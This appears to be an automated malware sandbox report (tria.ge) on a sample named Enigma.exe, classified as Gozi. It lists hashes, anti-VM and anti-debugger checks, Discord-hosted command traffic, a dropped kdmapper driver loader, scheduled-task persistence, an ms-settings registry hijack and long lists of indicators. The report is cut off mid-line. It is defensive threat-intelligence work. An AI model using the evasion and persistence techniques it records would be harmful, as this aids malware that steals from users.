Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
16/04/2024, 21:04
Static task
static1
General
-
Target
Enigma.exe
-
Size
1.2MB
-
MD5
d0f80a39b6f0a3beac677c6846c3b41a
-
SHA1
d7b1f3b1b53fa474247f9d4e63b959aa902866a4
-
SHA256
3ef10a8b44eb13fc45d40ced592fe9f1a83e6b021b3681da61f7cce688304047
-
SHA512
38cf9347f60cfa8a700f040e647deaac3309db71919b508ef7bf82f39b3497a5124413cdaae2ddc522200b23ab4c832f7c6ba72e673c8496ee8a36326c889270
-
SSDEEP
24576:3stMPfK4jgsfALDEx/AoO0RwqvpVQqblqJRYu/UZfh+n6A6qtFa:3stb+Jlp3gJerIn6ApF
Malware Config
Extracted
gozi
Signatures
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Enigma.exe -
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Enigma.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Enigma.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Enigma.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 4704 kdmapper.exe 1572 fwe4mmr1.exe -
Loads dropped DLL 1 IoCs
pid Process 4704 kdmapper.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
flow ioc 11 discord.com 13 discord.com 20 discord.com 21 discord.com 28 discord.com 76 discord.com 12 discord.com 14 raw.githubusercontent.com 15 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 72 checkip.amazonaws.com -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\SysWOW64\kdmapper.exe Enigma.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1340 Enigma.exe 1340 Enigma.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN Enigma.exe -
Drops file in Windows directory 6 IoCs
description ioc Process File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 600 schtasks.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\ms-settings\shell\open\command reg.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState\EdpState = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "268435456" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B7216 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 12e0acba4190da01 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = fbef35af4190da01 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\ms-settings reg.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\CIStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\"" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\discord.com\ = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\discord.com\NumberOfSubdomai = "1" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 2e106fc94190da01 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\ACGStatus MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\discord.com\NumberOfSubdomai = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0" reg.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe 1340 Enigma.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3396 Explorer.EXE -
Suspicious behavior: MapViewOfSection 10 IoCs
pid Process 4244 MicrosoftEdgeCP.exe 4244 MicrosoftEdgeCP.exe 4244 MicrosoftEdgeCP.exe 4244 MicrosoftEdgeCP.exe 4244 MicrosoftEdgeCP.exe 4244 MicrosoftEdgeCP.exe 4244 MicrosoftEdgeCP.exe 4244 MicrosoftEdgeCP.exe 4244 MicrosoftEdgeCP.exe 4244 MicrosoftEdgeCP.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4496 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4496 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4496 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4496 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4704 kdmapper.exe Token: SeDebugPrivilege 2964 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 2964 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 1572 fwe4mmr1.exe Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeDebugPrivilege 320 MicrosoftEdge.exe Token: SeDebugPrivilege 320 MicrosoftEdge.exe Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 320 MicrosoftEdge.exe 4244 MicrosoftEdgeCP.exe 4496 MicrosoftEdgeCP.exe 4244 MicrosoftEdgeCP.exe 4216 MicrosoftEdgeCP.exe 3396 Explorer.EXE 4704 kdmapper.exe -
Suspicious use of WriteProcessMemory 54 IoCs
description pid Process procid_target PID 1340 wrote to memory of 2276 1340 Enigma.exe 74 PID 1340 wrote to memory of 2276 1340 Enigma.exe 74 PID 1340 wrote to memory of 3760 1340 Enigma.exe 77 PID 1340 wrote to memory of 3760 1340 Enigma.exe 77 PID 1340 wrote to memory of 4704 1340 Enigma.exe 78 PID 1340 wrote to memory of 4704 1340 Enigma.exe 78 PID 1340 wrote to memory of 4704 1340 Enigma.exe 78 PID 1340 wrote to memory of 5072 1340 Enigma.exe 79 PID 1340 wrote to memory of 5072 1340 Enigma.exe 79 PID 4704 wrote to memory of 4304 4704 kdmapper.exe 83 PID 4704 wrote to memory of 4304 4704 kdmapper.exe 83 PID 4704 wrote to memory of 4304 4704 kdmapper.exe 83 PID 4704 wrote to memory of 1892 4704 kdmapper.exe 85 PID 4704 wrote to memory of 1892 4704 kdmapper.exe 85 PID 4704 wrote to memory of 1892 4704 kdmapper.exe 85 PID 4704 wrote to memory of 2936 4704 kdmapper.exe 87 PID 4704 wrote to memory of 2936 4704 kdmapper.exe 87 PID 4704 wrote to memory of 2936 4704 kdmapper.exe 87 PID 2936 wrote to memory of 204 2936 cmd.exe 89 PID 2936 wrote to memory of 204 2936 cmd.exe 89 PID 2936 wrote to memory of 204 2936 cmd.exe 89 PID 4244 wrote to memory of 3728 4244 MicrosoftEdgeCP.exe 82 PID 4244 wrote to memory of 3728 4244 MicrosoftEdgeCP.exe 82 PID 4244 wrote to memory of 3728 4244 MicrosoftEdgeCP.exe 82 PID 4704 wrote to memory of 